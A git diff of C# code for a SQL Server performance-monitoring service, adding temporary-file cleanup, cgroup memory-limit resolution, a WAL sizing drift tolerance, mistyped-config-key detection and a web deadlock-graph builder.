+        if (new FileInfo(temporary).LinkTarget is not null || !Directory.Exists(temporary))
+        {
+            return null;
+        }
+
+        try
+        {
+            Directory.Delete(temporary, recursive: false);
+            return null;
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            return $"{temporary}, the file a new key is written through before it is moved into place, is a directory the service could not remove ({ex.Message}); remove it and restart";
+        }
+    }
+
+    /// <summary>
+    /// Removes the unique temporary files an earlier write left behind (#5366), when it stopped between creating one and
+    /// moving it: each holds a whole key, and no other step looks for them. Regular files only: a directory, or a link,
+    /// with such a name is not ours and is left. A writer running at the same moment loses its file, so its move fails and
+    /// it publishes nothing. Best effort: the next write tries again.
+    /// </summary>
+    private static void RemoveLeftTemporaries(string path, ILogger logger)
+    {
+        try
+        {
+            var directory = Path.GetDirectoryName(path);
+            if (string.IsNullOrEmpty(directory) || !Directory.Exists(directory))
+            {
+                return;
+            }
+
+            foreach (var left in Directory.EnumerateFiles(directory, Path.GetFileName(path) + UniqueTemporaryInfix + "*"))
+            {
+                var info = new FileInfo(left);
+                if (info.LinkTarget is null && !info.Attributes.HasFlag(FileAttributes.Directory))
+                {
+                    TryDelete(left, logger);
+                }
+            }
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException or ArgumentException)
+        {
+            logger.LogDebug("Could not look for leftover temporary files of {File}: {Message}", path, ex.Message);
+        }
+    }
+
+    private static void TryDelete(string path, ILogger logger)
+    {
+        try
+        {
+            File.Delete(path);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            /* best effort: the next write of a unique-named key file removes leftovers, and a fixed-name one clears its own */
+            logger.LogDebug("Could not remove {File}: {Message}", path, ex.Message);
+        }
+    }
+
+    private static ServiceKeyFileResult<TKey> Refuse<TKey>(string path, string reason, bool untrusted, string? discarded, bool exists = true)
+        where TKey : class =>
+        new(ServiceKeyFileState.Refused, null, path, reason, exists, untrusted, discarded);
+
+    private static ServiceKeyFileResult<TKey> RefuseDirectory<TKey>(string path, string directory, string distrust, bool exists)
+        where TKey : class =>
+        new(ServiceKeyFileState.DirectoryRefused, null, path, $"its directory {directory} is not trusted ({distrust})", exists, Untrusted: true, Discarded: null);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs
index 0980c5c5d6..51a8a78175 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs
@@ -194,6 +194,15 @@ internal static class DarlingStoreHostProfile
     /// alongside a finite cgroup memory limit (#4214's ruling 2).</summary>
     public const string DotnetRunningInContainerEnvVar = "DOTNET_RUNNING_IN_CONTAINER";
 
+    /// <summary>Where the Linux paths below read total RAM and the cgroup memory limit. Shared with the memory
+    /// launch guard (#5479), so the guard and <c>--check-settings</c> read the same files.</summary>
+    internal const string ProcMeminfoPath = "/proc/meminfo";
+
+    /// <summary>This process's own cgroup membership, and the two mount points the limit files live under (#5479).</summary>
+    internal const string ProcSelfCgroupPath = "/proc/self/cgroup";
+    internal const string CgroupV2MountPath = "/sys/fs/cgroup";
+    internal const string CgroupV1MemoryMountPath = "/sys/fs/cgroup/memory";
+
     /* ============================= Linux RAM / cgroup: pure parse functions ============================= *
      * Pure over already-read file TEXT (not a path), so every branch — meminfo present/absent/unparseable,
      * cgroup v2 "max", v2 a real number, v1's near-long.MaxValue "no limit" sentinel, v1 a real number — has
@@ -272,6 +281,124 @@ internal static class DarlingStoreHostProfile
         return bytes >= CgroupV1UnlimitedThreshold ? null : bytes;
     }
 
+    /* ======================= Linux cgroup: this process's own limit, nested-aware (#5479) ======================= *
+     * The root files above only hold a limit when the process is in the root cgroup (a container with a private
+     * cgroup namespace). A systemd unit with MemoryMax=2G, or a container started with --cgroupns=host, sits in a
+     * NESTED cgroup, and its limit is in memory.max at that path or at one of its parents. The runtime resolves it
+     * the same way, from /proc/self/cgroup. All of this is text-in, so a Windows test feeds it literal strings. */
+
+    /// <summary>The cgroup v2 path of this process from the text of <c>/proc/self/cgroup</c> (the <c>0::/path</c>
+    /// line), normalised to start with a slash. Null when there is no such line or the path is not usable.</summary>
+    internal static string? ParseProcSelfCgroupV2Path(string? procSelfCgroupText)
+        => ParseProcSelfCgroupPath(procSelfCgroupText, controller: null);
+
+    /// <summary>The cgroup v1 path of this process's <c>memory</c> controller from the text of
+    /// <c>/proc/self/cgroup</c> (a <c>N:memory:/path</c> line, or <c>N:cpu,memory:/path</c>). Null when there is none.</summary>
+    internal static string? ParseProcSelfCgroupV1MemoryPath(string? procSelfCgroupText)
+        => ParseProcSelfCgroupPath(procSelfCgroupText, controller: "memory");
+
+    private static string? ParseProcSelfCgroupPath(string? text, string? controller)
+    {
+        if (string.IsNullOrEmpty(text))
+        {
+            return null;
+        }
+
+        foreach (var rawLine in text.Split('\n'))
+        {
+            var line = rawLine.TrimEnd('\r');
+            var first = line.IndexOf(':');
+            var second = first < 0 ? -1 : line.IndexOf(':', first + 1);
+            if (second < 0)
+            {
+                continue;
+            }
+
+            var controllers = line[(first + 1)..second];
+            var matches = controller is null
+                ? line.StartsWith("0::", StringComparison.Ordinal)
+                : controllers.Split(',').Contains(controller, StringComparer.Ordinal);
+            if (!matches)
+            {
+                continue;
+            }
+
+            var path = line[(second + 1)..];
+            const string deleted = " (deleted)";
+            if (path.EndsWith(deleted, StringComparison.Ordinal))
+            {
+                path = path[..^deleted.Length];
+            }
+
+            /* A path that is not absolute, or tries to climb out of the mount, is not one to read files from. */
+            if (!path.StartsWith('/') || path.Split('/').Contains(".."))
+            {
+                return null;
+            }
+
+            path = path.TrimEnd('/');
+            return path.Length == 0 ? "/" : path;
+        }
+
+        return null;
+    }
+
+    /// <summary>A cgroup path and every parent of it up to the root: <c>/a/b</c> gives <c>/a/b</c>, <c>/a</c>, <c>/</c>.</summary>
+    internal static IReadOnlyList<string> CgroupPathAndAncestors(string cgroupPath)
+    {
+        var result = new List<string>();
+        var current = cgroupPath.Length == 0 ? "/" : cgroupPath;
+        while (true)
+        {
+            result.Add(current);
+            if (current == "/")
+            {
+                break;
+            }
+
+            var slash = current.LastIndexOf('/');
+            current = slash <= 0 ? "/" : current[..slash];
+        }
+
+        return result;
+    }
+
+    /// <summary>
+    /// The tightest finite memory limit that applies to this process: its own cgroup's <c>memory.max</c> (v2) or
+    /// <c>memory.limit_in_bytes</c> (v1, the <c>memory</c> controller), and every parent cgroup's up to the root, the
+    /// smallest finite value. The root files are always read, so a process whose <c>/proc/self/cgroup</c> cannot be
+    /// read behaves as before. Null means no finite limit anywhere, or nothing readable; the caller treats both as
+    /// "use total RAM".
+    /// </summary>
+    /// <param name="procSelfCgroupText">The text of <c>/proc/self/cgroup</c>, or null when unreadable.</param>
+    /// <param name="readFile">Reads a whole text file, or null when it cannot be read.</param>
+    internal static long? ResolveCgroupMemoryLimitBytes(string? procSelfCgroupText, Func<string, string?> readFile)
+    {
+        long? smallest = null;
+
+        void Consider(long? candidate)
+        {
+            if (candidate is { } value && (smallest is null || value < smallest))
+            {
+                smallest = value;
+            }
+        }
+
+        var v2Dirs = CgroupPathAndAncestors(ParseProcSelfCgroupV2Path(procSelfCgroupText) ?? "/");
+        foreach (var dir in v2Dirs)
+        {
+            Consider(ParseCgroupV2MemoryMaxBytes(readFile(CgroupV2MountPath + (dir == "/" ? "" : dir) + "/memory.max")));
+        }
+
+        var v1Dirs = CgroupPathAndAncestors(ParseProcSelfCgroupV1MemoryPath(procSelfCgroupText) ?? "/");
+        foreach (var dir in v1Dirs)
+        {
+            Consider(ParseCgroupV1MemoryLimitBytes(readFile(CgroupV1MemoryMountPath + (dir == "/" ? "" : dir) + "/memory.limit_in_bytes")));
+        }
+
+        return smallest;
+    }
+
     /// <summary>The smaller of total RAM and the cgroup limit (null cgroup = no limit) — what the process can
     /// actually use, and the figure the settings' "derived value for this host" is computed from.</summary>
     internal static long ComputeEffectiveMemoryLimitBytes(long memTotalBytes, long? cgroupLimitBytes)
@@ -289,7 +416,7 @@ internal static bool IsContainerized(long? cgroupMemoryLimitBytes, string? dotne
     /// <summary>Reads the whole file if present, or null on any I/O failure — the one shared "best effort
     /// file read" every Linux path below uses, so a missing/unreadable cgroup file degrades the same way a
     /// missing meminfo line does: fall back, never throw.</summary>
-    private static string? TryReadFile(string path)
+    internal static string? TryReadFile(string path)
     {
         try
         {
@@ -323,9 +450,8 @@ internal static (string Platform, bool IsContainerized, int ProcessorCount, Host
 
         if (OperatingSystem.IsLinux())
         {
-            var memTotal = ParseProcMeminfoTotalBytes(TryReadFile("/proc/meminfo"));
-            var cgroupLimit = ParseCgroupV2MemoryMaxBytes(TryReadFile("/sys/fs/cgroup/memory.max"))
-                ?? ParseCgroupV1MemoryLimitBytes(TryReadFile("/sys/fs/cgroup/memory/memory.limit_in_bytes"));
+            var memTotal = ParseProcMeminfoTotalBytes(TryReadFile(ProcMeminfoPath));
+            var cgroupLimit = ResolveCgroupMemoryLimitBytes(TryReadFile(ProcSelfCgroupPath), TryReadFile);
             var authoritative = memTotal.HasValue;
             var total = memTotal ?? GC.GetGCMemoryInfo().TotalAvailableMemoryBytes;
             var effective = ComputeEffectiveMemoryLimitBytes(total, cgroupLimit);
@@ -760,6 +886,21 @@ private static string SanitizeSourcePathForMcp(string file, string? dataDirector
     internal static string FormatSettingValue(long value, string unit) =>
         unit.Length == 0 ? value.ToString(CultureInfo.InvariantCulture) : FormattableString.Invariant($"{value}{unit}");
 
+    /// <summary>#5459: <c>max_wal_size</c> is derived from the data volume's CURRENT free space, which moves
+    /// between the service start that wrote the block and any later check. When the stored value is a rung the
+    /// ladder would pick for a reading within <see cref="DarlingManagedPostgres.WalSizingVerdictToleranceDivisor"/>
+    /// of this one, the derived figure reported is the stored one (so it reads Matches); anything further away is
+    /// a real change in headroom and keeps the plain derivation.</summary>
+    internal static long ApplyWalDriftTolerance(string settingName, long derivedValueMb, long? currentValueMb, long freeDiskBytes)
+    {
+        if (!string.Equals(settingName, "max_wal_size", StringComparison.Ordinal) || currentValueMb is not { } current)
+        {
+            return derivedValueMb;
+        }
+
+        return DarlingManagedPostgres.IsWalSizeWithinDriftOf(freeDiskBytes, current) ? current : derivedValueMb;
+    }
+
     /// <summary>The eight settings ruling 4 names, each with its unit and the <c>Derive*</c>/constant that
     /// supplies "the value derived for this host" — never a second copy of a formula (ruling 1).</summary>
     private static (string Name, long DerivedValueMb, string Unit)[] BuildDerivedTargets(
@@ -848,8 +989,9 @@ which falls through to the dataDirectory-is-null branch below exactly like a bri
         var isHandEdited = dataDirectory is not null && TryReadManagedConfIsHandEdited(dataDirectory);
         var results = new List<HostSettingProfile>(targets.Length);
 
-        foreach (var (name, derivedValue, unit) in targets)
+        foreach (var (name, rawDerivedValue, unit) in targets)
         {
+            var derivedValue = rawDerivedValue;
             var derivedDisplay = FormatSettingValue(derivedValue, unit);
 
             if (!live.TryGetValue(name, out var pgValue))
@@ -874,6 +1016,8 @@ which falls through to the dataDirectory-is-null branch below exactly like a bri
             }
 
             var attribution = AttributeManagedSetting(dataDirectory, name);
+            derivedValue = ApplyWalDriftTolerance(name, rawDerivedValue, currentValue, freeDiskBytesForDerivation);
+            derivedDisplay = FormatSettingValue(derivedValue, unit);
             var (sourceDescription, verdict) = ClassifyVerdict(attribution, currentValue ?? long.MinValue, derivedValue);
             (sourceDescription, verdict) = ApplyHandEditOverride(sourceDescription, verdict, isHandEdited);
             results.Add(new HostSettingProfile(
@@ -1311,7 +1455,7 @@ internal static async Task ComputeAndStoreManagedConfVerdictsAsync(
         var rejectedValueKeys = new List<string>();
         var overriddenKeys = new List<string>();
 
-        foreach (var (name, derivedValueMb, unit) in targets)
+        foreach (var (name, rawDerivedValueMb, unit) in targets)
         {
             if (!live.TryGetValue(name, out var pgValue))
             {
@@ -1320,6 +1464,7 @@ internal static async Task ComputeAndStoreManagedConfVerdictsAsync(
                              --check-settings' own table. */
             }
 
+            var derivedValueMb = rawDerivedValueMb;
             var derivedDisplay = FormatSettingValue(derivedValueMb, unit);
             var currentValue = NormalizePgSetting(pgValue.Setting, pgValue.Unit);
             var currentDisplay = currentValue.HasValue ? FormatSettingValue(currentValue.Value, unit) : pgValue.Setting;
@@ -1335,6 +1480,8 @@ internal static async Task ComputeAndStoreManagedConfVerdictsAsync(
             }
 
             var attribution = AttributeManagedSetting(dataDirectory, name);
+            derivedValueMb = ApplyWalDriftTolerance(name, rawDerivedValueMb, currentValue, freeDiskBytesForDerivation);
+            derivedDisplay = FormatSettingValue(derivedValueMb, unit);
             var (sourceDescription, verdict) = ClassifyVerdict(attribution, currentValue ?? long.MinValue, derivedValueMb);
             string? detail = null;
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs
index c6f67d3810..1c6e74e8e2 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs
@@ -125,6 +125,8 @@ an EVENT ("N more failures since the previous sample"), not a condition that cle
         (DarlingSelfAlertEvaluator.RetentionJobRecoveredMetric, DarlingSelfAlertEvaluator.RetentionJobStuckMetric),
         (DarlingSelfAlertEvaluator.StaleMuteResolvedMetric, DarlingSelfAlertEvaluator.StaleMuteMetric),
         (DarlingSelfAlertEvaluator.WebTlsCertRenewedMetric, DarlingSelfAlertEvaluator.WebTlsCertExpiryMetric),
+        /* #5288: the MCP endpoint's certificate alert and its own resolution title. */
+        (DarlingSelfAlertEvaluator.McpTlsCertRenewedMetric, DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric),
         /* #4732: the fleet-gate self-alert's resolution. */
         (DarlingSelfAlertEvaluator.FleetGateClearedMetric, DarlingSelfAlertEvaluator.FleetGateMetric),
         /* The store families that landed AFTER #2768 (#3833). Their resolution titles are triage entry
@@ -289,6 +291,10 @@ reads the fallback used to run could never apply — they rendered three resolve
                and collector cost is what DRIVES the volume all three are downstream of. */
             [DarlingSelfAlertEvaluator.DiskPressureMetric] = StoreSections(),
             [DarlingSelfAlertEvaluator.StoreUpgradeMetric] = StoreSections(),
+            /* #5450: a fleet-level event about the whole store's collection, so the same fleet-level sections. */
+            [DarlingSelfAlertEvaluator.CollectionGapAtStartMetric] = StoreSections(),
+            /* #5450: about the whole store's retained history, so the same fleet-level sections. */
+            [DarlingSelfAlertEvaluator.CollectionGapsInHistoryMetric] = StoreSections(),
             [DarlingSelfAlertEvaluator.JobCadenceMetric] = StoreSections(),
             [DarlingSelfAlertEvaluator.CompressionJobMetric] = StoreSections(),
             /* #3816: the same shape for the two families the self-heal now covers and for the failure arm —
@@ -323,6 +329,14 @@ firing and the click is still visible rather than looking deleted. The alert his
                 F("Recent alerts (the certificate's subject, thumbprint and validity dates are in the alert detail)", "get_alert_history", ("hours", "168"), ("limit", "50")),
             },
 
+            /* #5288: the MCP endpoint's certificate alert is the web one's twin (mcp.network.tls instead of
+               web.network.tls), and answers the same way: renewing the certificate is an out-of-band step on the
+               service host, the facts are in the alert detail, and the history is the firing trail. */
+            [DarlingSelfAlertEvaluator.McpTlsCertExpiryMetric] = new[]
+            {
+                F("Recent alerts (the certificate's subject, thumbprint and validity dates are in the alert detail)", "get_alert_history", ("hours", "168"), ("limit", "50")),
+            },
+
             /* PostgreSQL alert family (PostgresAlertEvaluator). */
             ["PostgreSQL Wraparound Risk"] = new[]
             {
@@ -733,7 +747,8 @@ label it could only ever answer with the resolver error this fix exists to remov
                 ["sections"] = sections,
             };
 
-            return Results.Text(body.ToJsonString(), "application/json");
+            /* #4348: the page's own body holds the alert row and every section's read, so it is swept whole. */
+            return DarlingWebStatementSweep.JsonText(body, "/api/triage", logger, 0);
         });
     }
 
@@ -865,9 +880,8 @@ void Append(string key, string value)
         ["detail_text"] = row.DetailText,
     };
 
-    private static string? Query(HttpContext context, string key)
-    {
-        var value = context.Request.Query[key].ToString();
-        return string.IsNullOrEmpty(value) ? null : value;
-    }
+    /// <summary>The first non-empty value for a query key, or null — the read surface's binding rule, which this
+    /// calls rather than restates (#5245: a repeated key is its first value, not the values joined by a comma).</summary>
+    internal static string? Query(HttpContext context, string key) =>
+        DarlingWebEndpoints.First(context, key);
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingUnknownKeys.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingUnknownKeys.cs
new file mode 100644
index 0000000000..50ac3fd43e
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingUnknownKeys.cs
@@ -0,0 +1,117 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Reflection;
+using System.Text.Json;
+using System.Text.Json.Serialization;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #5307: finds the keys under <c>web.network</c> and <c>mcp.network</c> (including their <c>tls</c> blocks and
+/// <c>web.network.oidc</c>) that no config class declares, so the worker can name each one at start. A mistyped
+/// key such as <c>ssl</c> for <c>tls</c> is otherwise dropped at load and the block behaves as if the setting had
+/// never been written.
+///
+/// <para>The known keys are read from the config classes' own <c>[JsonPropertyName]</c> attributes, so the set
+/// cannot drift from the code. The result is key PATHS only: the walk never copies a value anywhere, and the
+/// list lives on an internal <c>[JsonIgnore]</c> property, so neither the log line nor a diagnostics bundle (which
+/// serializes the whole config) can carry what a mistyped key held.</para>
+/// </summary>
+internal static class DarlingUnknownKeys
+{
+    private static readonly Dictionary<Type, IReadOnlyDictionary<string, PropertyInfo>> s_known = new();
+
+    /// <summary>The unknown key paths in the raw darling.json text, in file order, e.g. <c>mcp.network.ssl</c>.</summary>
+    public static List<string> Find(string json)
+    {
+        var found = new List<string>();
+        var options = new JsonDocumentOptions { CommentHandling = JsonCommentHandling.Skip, AllowTrailingCommas = true };
+        using var doc = JsonDocument.Parse(json, options);
+
+        foreach (var root in doc.RootElement.ValueKind == JsonValueKind.Object ? doc.RootElement.EnumerateObject() : default)
+        {
+            var sectionType = root.Name.ToLowerInvariant() switch { "web" => typeof(WebConfig), "mcp" => typeof(McpConfig), _ => null };
+            if (sectionType is not null && TryGetIgnoreCase(root.Value, "network", out var network))
+            {
+                var networkType = sectionType.GetProperty("Network")!.PropertyType;
+                Walk(network, Nullable.GetUnderlyingType(networkType) ?? networkType, sectionType == typeof(WebConfig) ? "web.network" : "mcp.network", found);
+            }
+        }
+
+        return found;
+    }
+
+    private static void Walk(JsonElement element, Type type, string path, List<string> found)
+    {
+        if (element.ValueKind != JsonValueKind.Object)
+        {
+            return;
+        }
+
+        var known = KnownKeys(type);
+        foreach (var property in element.EnumerateObject())
+        {
+            if (!known.TryGetValue(property.Name, out var member))
+            {
+                found.Add(path + "." + property.Name);
+                continue;
+            }
+
+            var memberType = Nullable.GetUnderlyingType(member.PropertyType) ?? member.PropertyType;
+            if (IsConfigObject(memberType))
+            {
+                Walk(property.Value, memberType, path + "." + member.GetCustomAttribute<JsonPropertyNameAttribute>()!.Name, found);
+            }
+        }
+    }
+
+    /// <summary>The JSON names (case-insensitive, like the loader) a config class binds.</summary>
+    internal static IReadOnlyDictionary<string, PropertyInfo> KnownKeys(Type type)
+    {
+        lock (s_known)
+        {
+            if (!s_known.TryGetValue(type, out var map))
+            {
+                map = type.GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                    .Where(p => p.GetCustomAttribute<JsonIgnoreAttribute>() is null)
+                    .Where(p => p.GetCustomAttribute<JsonPropertyNameAttribute>() is not null)
+                    .ToDictionary(p => p.GetCustomAttribute<JsonPropertyNameAttribute>()!.Name, p => p, StringComparer.OrdinalIgnoreCase);
+                s_known[type] = map;
+            }
+
+            return map;
+        }
+    }
+
+    private static bool IsConfigObject(Type type) =>
+        type.IsClass && type != typeof(string) && !type.IsArray && type.Assembly == typeof(DarlingConfig).Assembly;
+
+    private static bool TryGetIgnoreCase(JsonElement element, string name, out JsonElement value)
+    {
+        value = default;
+        if (element.ValueKind != JsonValueKind.Object)
+        {
+            return false;
+        }
+
+        foreach (var property in element.EnumerateObject())
+        {
+            if (string.Equals(property.Name, name, StringComparison.OrdinalIgnoreCase))
+            {
+                value = property.Value;
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs
new file mode 100644
index 0000000000..9e203bb735
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingWebDeadlockGraph.cs
@@ -0,0 +1,214 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using PerformanceMonitor.Common;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// The drawn deadlock graph for the Darling web (#5246): the shared <see cref="DeadlockGraphParser"/> and
+/// <see cref="DeadlockGraphLayout"/> turn one deadlock's XML into process cards with positions and waits-for
+/// edges, and this adds that shape to each <c>get_deadlock_detail</c> row as <c>graph</c>. The browser draws the
+/// SVG from it and never parses the XML.
+///
+/// <para>This lives outside <c>Mcp/</c> on purpose. It is added only by the web dispatch row, so the MCP tool's
+/// payload, its response budget, its tools/list entry and its Lite parity do not change.</para>
+/// </summary>
+public static class DarlingWebDeadlockGraph
+{
+    /// <summary>A deadlock with more processes than this is not drawn; the row says how many there were. Each
+    /// card carries up to <see cref="SqlTextCap"/> characters of statement, and the layout grows with the count.</summary>
+    public const int MaxGraphProcesses = 60;
+
+    /// <summary>Statement text sent per process for the side panel; a longer one is cut and says so.</summary>
+    public const int SqlTextCap = 8000;
+
+    /// <summary>The graph for one deadlock's XML, or null when the XML holds no process (empty, unparseable, or
+    /// not a deadlock graph). A deadlock over <see cref="MaxGraphProcesses"/> returns only
+    /// <c>too_large</c> and <c>process_count</c>.</summary>
+    public static Dictionary<string, object?>? BuildGraph(string? xml)
+    {
+        var model = DeadlockGraphParser.Parse(xml);
+        if (model.IsEmpty) return null;
+
+        if (model.Processes.Count > MaxGraphProcesses)
+        {
+            return new Dictionary<string, object?>
+            {
+                ["too_large"] = true,
+                ["process_count"] = model.Processes.Count,
+            };
+        }
+
+        var (width, height) = DeadlockGraphLayout.Layout(model);
+
+        var processes = model.Processes.Select(p =>
+        {
+            var node = new Dictionary<string, object?>
+            {
+                ["id"] = p.Id,
+                ["spid"] = p.Spid,
+                ["ecid"] = p.Ecid,
+                ["victim"] = p.IsVictim,
+                ["x"] = Math.Round(p.X, 1),
+                ["y"] = Math.Round(p.Y, 1),
+                ["wait_time_ms"] = p.WaitTimeMs,
+                ["priority"] = p.Priority,
+            };
+            Put(node, "lock_mode", p.LockMode);
+            Put(node, "wait_resource", p.WaitResource);
+            Put(node, "contended_object", p.ContentiousObject);
+            Put(node, "database_name", p.DatabaseName);
+            Put(node, "login_name", p.LoginName);
+            Put(node, "host_name", p.HostName);
+            Put(node, "client_app", p.ClientApp);
+            Put(node, "isolation_level", p.IsolationLevel);
+            Put(node, "proc_name", p.ProcName);
+            Put(node, "status", p.Status);
+            /* #4348: judged WHOLE, before the cut. The web sweep after this sees only the first SqlTextCap
+               characters, and a statement named by what follows them would pass as an innocent prefix. */
+            var sqlText = SensitiveStatements.Text(p.SqlText) ?? "";
+            if (sqlText.Length > SqlTextCap)
+            {
+                var cut = McpHelpers.TextElementCutLength(sqlText, SqlTextCap);
+                node["sql_text"] = sqlText[..cut];
+                node["sql_text_cut"] = true;
+            }
+            else
+            {
+                Put(node, "sql_text", sqlText);
+            }
+            return node;
+        }).ToList();
+
+        var edges = model.Edges.Select(e =>
+        {
+            var edge = new Dictionary<string, object?>
+            {
+                ["waiter"] = e.WaiterProcessId,
+                ["owner"] = e.OwnerProcessId,
+                ["self"] = e.IsSelfEdge,
+            };
+            Put(edge, "resource_kind", e.ResourceKind);
+            Put(edge, "resource_label", e.ResourceLabel);
+            Put(edge, "request_mode", e.RequestMode);
+            Put(edge, "owner_mode", e.OwnerMode);
+            return edge;
+        }).ToList();
+
+        /* Only a component of two or more processes is a cycle; a lone node (a parallel self-edge) is not, as in the
+           desktop viewer. The page numbers them 1..n itself. */
+        var cycles = model.ComponentBoxes.Where(b => b.NodeCount >= 2).Select(b => new Dictionary<string, object?>
+        {
+            ["index"] = b.Index,
+            ["node_count"] = b.NodeCount,
+            ["x"] = Math.Round(b.X, 1),
+            ["y"] = Math.Round(b.Y, 1),
+            ["width"] = Math.Round(b.Width, 1),
+            ["height"] = Math.Round(b.Height, 1),
+        }).ToList();
+
+        return new Dictionary<string, object?>
+        {
+            ["width"] = Math.Round(width, 1),
+            ["height"] = Math.Round(height, 1),
+            ["node_width"] = DeadlockGraphLayout.NodeWidth,
+            ["node_height"] = DeadlockGraphLayout.NodeHeight,
+            ["is_parallel"] = model.IsParallel,
+            ["processes"] = processes,
+            ["edges"] = edges,
+            ["cycles"] = cycles,
+        };
+    }
+
+    /// <summary>Adds <c>graph</c> to each row of a <c>get_deadlock_detail</c> payload that carries a whole graph
+    /// XML. Anything that is not that payload (a status envelope, an error, text that is not JSON) comes back
+    /// unchanged, as does a row whose XML was only a preview or does not parse.</summary>
+    public static string AddGraphs(string json)
+    {
+        if (string.IsNullOrEmpty(json)) return json;
+
+        JsonNode? root;
+        try
+        {
+            root = JsonNode.Parse(json);
+        }
+        catch (JsonException)
+        {
+            return json;
+        }
+
+        if (root is not JsonObject obj || obj["deadlocks"] is not JsonArray rows) return json;
+
+        var changed = false;
+        foreach (var node in rows)
+        {
+            if (node is not JsonObject row) continue;
+            if (row["deadlock_graph_xml_truncated"] is JsonValue t && t.TryGetValue<bool>(out var cut) && cut) continue;
+            if (row["deadlock_graph_xml"] is not JsonValue v || !v.TryGetValue<string>(out var xml) || string.IsNullOrWhiteSpace(xml)) continue;
+
+            /* The graph is an extra on a row that is already complete: whatever goes wrong in parsing or laying it
+               out costs this row its graph, never the read. */
+            JsonNode? shaped;
+            try
+            {
+                var graph = BuildGraph(xml);
+                if (graph is null) continue;
+                DropRepeatedStatements(graph, row);
+                shaped = JsonSerializer.SerializeToNode(graph, McpHelpers.JsonOptions);
+            }
+            catch (Exception)
+            {
+                continue;
+            }
+
+            row["graph"] = shaped;
+            changed = true;
+        }
+
+        return changed ? obj.ToJsonString(McpHelpers.JsonOptions) : json;
+    }
+
+    /// <summary>Removes a graph process's <c>sql_text</c> when the row's <c>processes[]</c> already carries the
+    /// same text for that process; the page reads it from there. A statement that was cut in the preview, or a
+    /// process the preview left out, keeps its own text.</summary>
+    private static void DropRepeatedStatements(Dictionary<string, object?> graph, JsonObject row)
+    {
+        if (row["processes"] is not JsonArray previews || graph["processes"] is not List<Dictionary<string, object?>> drawn) return;
+
+        var seen = new Dictionary<string, string>(StringComparer.Ordinal);
+        foreach (var node in previews)
+        {
+            if (node is JsonObject o
+                && o["process_id"] is JsonValue id && id.TryGetValue<string>(out var pid)
+                && o["sql_text"] is JsonValue st && st.TryGetValue<string>(out var text))
+            {
+                seen[pid] = text;
+            }
+        }
+
+        foreach (var p in drawn)
+        {
+            if (p["id"] is string id && p["sql_text"] is string text && !p.ContainsKey("sql_text_cut")
+                && seen.TryGetValue(id, out var preview) && string.Equals(preview, text, StringComparison.Ordinal))
+            {
+                p.Remove("sql_text");
+            }
+        }
+    }
+
+    private static void Put(Dictionary<string, object?> map, string key, string? value)
+    {
+        if (!string.IsNullOrEmpty(value)) map[key] = value;
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs b/Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs
index 44c7d685ff..d4d6c6f2d3 100644
--- a/Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs
@@ -88,6 +88,15 @@ internal static (string Name, ReadToolHandler Handler)? TestOnlyExtraDispatchEnt
         set => s_testOnlyExtraDispatchEntry.Value = value;
     }
 
+    /// <summary>Reads served on <c>/api/read/*</c> that are NOT an MCP tool (#5241): the web page's own keyed reads.
+    /// <c>get_alert_details</c> returns one alert's advice when its row is opened, so the Alert History poll does not
+    /// carry every row's advice. They are the only dispatch keys with no <c>[McpServerTool]</c> behind them; the
+    /// parity test adds exactly this set to the tool catalog.</summary>
+    internal static readonly IReadOnlySet<string> WebOnlyReadNames = new HashSet<string>(StringComparer.Ordinal)
+    {
+        "get_alert_details",
+    };
+
     /// <summary>The tool names deliberately absent from the <c>/api/read/*</c> 1:1 read surface. <c>analyze_server</c>
     /// makes a live monitored-server connection; <c>mute_analysis_finding</c> writes; the <c>analyze_*_plan</c> family
     /// is the compute-heavy plan-analysis phase-2 work; the Custom Views tools (#1599) are served by their OWN
@@ -130,6 +139,7 @@ internal static (string Name, ReadToolHandler Handler)? TestOnlyExtraDispatchEnt
         "delete_mute_rule",
         "set_mute_rule_enabled",
         "add_servers",
+        "edit_server",
         "remove_server",
         "create_custom_alert_rule",
         "get_custom_alert_rule",
@@ -139,6 +149,11 @@ internal static (string Name, ReadToolHandler Handler)? TestOnlyExtraDispatchEnt
         "validate_custom_alert_rule",
         "test_custom_alert_rule",
         "list_custom_alert_templates",
